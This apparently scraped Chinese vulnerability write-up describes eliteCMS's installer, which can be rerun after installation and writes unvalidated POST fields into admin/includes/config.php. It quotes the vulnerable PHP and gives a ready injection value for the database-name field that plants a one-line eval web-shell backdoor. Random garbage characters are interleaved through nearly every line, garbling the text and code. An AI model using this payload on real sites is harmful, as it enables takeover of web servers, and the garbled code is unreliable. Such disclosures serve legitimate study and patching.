eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装
8 o" }2 Y( j4 P+ x1 w8 J# Q+ F/ s: z* w4 E+ t- U9 {. g
另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php& A( X6 S w4 s( O
我们来看代码:
0 o i+ Q: { W$ u" T9 [ : p( b0 Y7 J5 p. Z6 v' X: m& y
...
: M- g7 }3 q4 @1 N6 y6 @4 telseif ($_GET['step'] == "4") {, }9 G% @$ R; B# \7 j
$file = "../admin/includes/config.php";& z7 N! `5 k! b) p
$write = "<?php\n";
% k" F: I3 A+ m1 u* ?: H" O& @ $write .= "/**\n";
& H; G' X5 n& B. D7 Z $write .= "*\n";0 v- e1 ~; i1 K* n k: p( k2 \+ W
$write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
; T) U, b. k' P4 l2 f) `9 y...略...
+ x" R. @5 J+ k& A7 r $write .= "*\n";
/ r, J1 X7 G- K2 X2 `: \& B J $write .= "*/\n";8 ~0 l0 y3 a* A, _
$write .= "\n";
! Z5 M$ u. Y5 R: J! P# ^& P $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";2 Y% R. o% p: w; A @# i
$write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
8 U0 ]9 p3 T I* B $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";8 [4 k7 f$ U- K4 ~ X
$write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
8 k% z4 u4 m9 a6 q) E) Z4 u& ~ $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";* F. q: w% K8 R
$write .= "if (!\$connection) {\n";9 v3 i6 z( N! \: q: [5 Y; _0 h x
$write .= " die(\"Database connection failed\" .mysql_error());\n";
/ L& N# j+ ?( V $write .= " \n";1 T) p8 @+ y0 U0 C5 V
$write .= "} \n";
; v5 R `$ s" e $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";7 K; y. K% E2 Z8 w4 ^4 d
$write .= "if (!\$db_select) {\n";
3 z5 ?. B& }1 M/ z $write .= " die(\"Database select failed\" .mysql_error());\n";! b2 L# ^! x' t) O
$write .= " \n";
/ I) j; N# [0 Q K $write .= "} \n";
6 Q0 O) E) Q" q4 S5 d $write .= "?>\n";
; V3 C8 z* i: z @( P+ O1 L 8 ^* D8 t8 T; N( A5 w
$writer = fopen($file, 'w');6 c. H2 {) q$ T' g# x& X
...0 \; u* ^, M$ `% d& Z
" A! u O5 Z* M7 w* e
在看代码:8 b5 q4 ?/ d3 Q; b; L
1 d- w: Y& F. ]) p
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];6 | E9 |4 t3 s
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
. @8 u' J& y& e! U6 @$_SESSION['DB_USER'] = $_POST['DB_USER'];. W8 G1 C: Z$ y' b
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
3 |4 @' c8 U% g% J5 W& K' v / [9 ?- Q2 {" k0 r
取值未作任何验证' L# L- C% g3 i* K' m" i0 }
如果将数据库名POST数据:' ^1 n( ?4 X7 q/ k2 T: r( V3 N
, d9 i6 p) N0 H. @8 [7 R3 [% k, J0 ?
"?><?php eval($_POST[c]);?><?php* k, {9 v- P& c: i; r" _
1 o+ y9 p) c7 L
将导致一句话后门写入/admin/includes/config.php' K# h* v5 |, v' ?5 \. o
|